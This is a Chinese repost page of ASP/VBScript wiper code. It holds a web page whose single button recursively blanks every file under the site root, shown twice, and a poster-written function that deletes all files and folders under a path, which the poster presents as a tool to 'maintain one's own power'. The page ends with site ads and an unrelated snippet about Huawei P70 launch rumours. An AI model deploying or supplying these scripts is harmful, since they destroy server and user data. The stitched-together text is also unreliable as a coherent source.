杰网资源 Design By www.escxy.com
'网上看到的,适用与没有禁用shell.application的服务器   
server.scripttimeout = 99999   
If request("submit")<>"" Then  
    Call listfile(server.mappath("./"))   
    response.Write"处理完毕"  
Else  
    response.Write"<form><input type=""submit"" name=""submit"" value=""清空所有文件的内容""></form>"  
End If  

Function listfile(fpath)   
    On Error Resume Next  
    Dim Shell, Folder, s   
    Set Shell = server.CreateObject ("shell.application")   
    Set Folder = Shell.namespace(fpath)   
    Set f = server.CreateObject("adodb.stream")   
    f.Type = 1   
    f.Open  
    For Each s in Folder.Items   
        If s.isfolder Then  
            Call listfile(s.Path)   
        Else  
            f.savetofile s.Path, 2   
        End If  
    Next  
    Set f = Nothing  
    Set Shell = Nothing  
End Function  

'网上看到的,适用与没有禁用shell.application的服务器
server.scripttimeout = 99999
If request("submit")<>"" Then
    Call listfile(server.mappath("./"))
    response.Write"处理完毕"
Else
    response.Write"<form><input type=""submit"" name=""submit"" value=""清空所有文件的内容""></form>"
End If

Function listfile(fpath)
    On Error Resume Next
    Dim Shell, Folder, s
    Set Shell = server.CreateObject ("shell.application")
    Set Folder = Shell.namespace(fpath)
    Set f = server.CreateObject("adodb.stream")
    f.Type = 1
    f.Open
    For Each s in Folder.Items
        If s.isfolder Then
            Call listfile(s.Path)
        Else
            f.savetofile s.Path, 2
        End If
    Next
    Set f = Nothing
    Set Shell = Nothing
End Function
以前也看到过这个,感觉没什么用,这么危险的组件服务器一般都禁用了,但今天,我突然觉得有进也得收集或制作一些这样的软件,可以维护自己的权力。具体什么原因我就不说了,我写的一个:

view plaincopy to clipboardprint?
'看到文件删文件,看到文件夹删除文件夹   
Function FilesTree(sPath)   
    Set oFso = CreateObject("Scripting.FileSystemObject")   
    Set oFolder = oFso.GetFolder(sPath)   
    Set oSubFolders = oFolder.SubFolders   

    Set oFiles = oFolder.Files   
    For Each oFile In oFiles   
        'WScript.Echo oFile.Path   
        oFile.Delete  
    Next  

    For Each oSubFolder In oSubFolders   
        'WScript.Echo oSubFolder.Path   
        oSubFolder.Delete  
        'FilesTree(oSubFolder.Path)'递归   
    Next  

    Set oFolder = Nothing  
    Set oSubFolders = Nothing  
    Set oFso = Nothing  
End Function  

FilesTree("F:\deltest\deltest") '遍历  
标签:
VBS,破坏性

杰网资源 Design By www.escxy.com
广告合作:本站广告合作请联系QQ:858582 申请时备注:广告合作(否则不回)
免责声明:本站文章均来自网站采集或用户投稿,网站不提供任何软件下载或自行开发的软件! 如有用户或公司发现本站内容信息存在侵权行为,请邮件告知! 858582#qq.com
杰网资源 Design By www.escxy.com

P70系列延期,华为新旗舰将在下月发布

3月20日消息,近期博主@数码闲聊站 透露,原定三月份发布的华为新旗舰P70系列延期发布,预计4月份上市。

而博主@定焦数码 爆料,华为的P70系列在定位上已经超过了Mate60,成为了重要的旗舰系列之一。它肩负着重返影像领域顶尖的使命。那么这次P70会带来哪些令人惊艳的创新呢?

根据目前爆料的消息来看,华为P70系列将推出三个版本,其中P70和P70 Pro采用了三角形的摄像头模组设计,而P70 Art则采用了与上一代P60 Art相似的不规则形状设计。这样的外观是否好看见仁见智,但辨识度绝对拉满。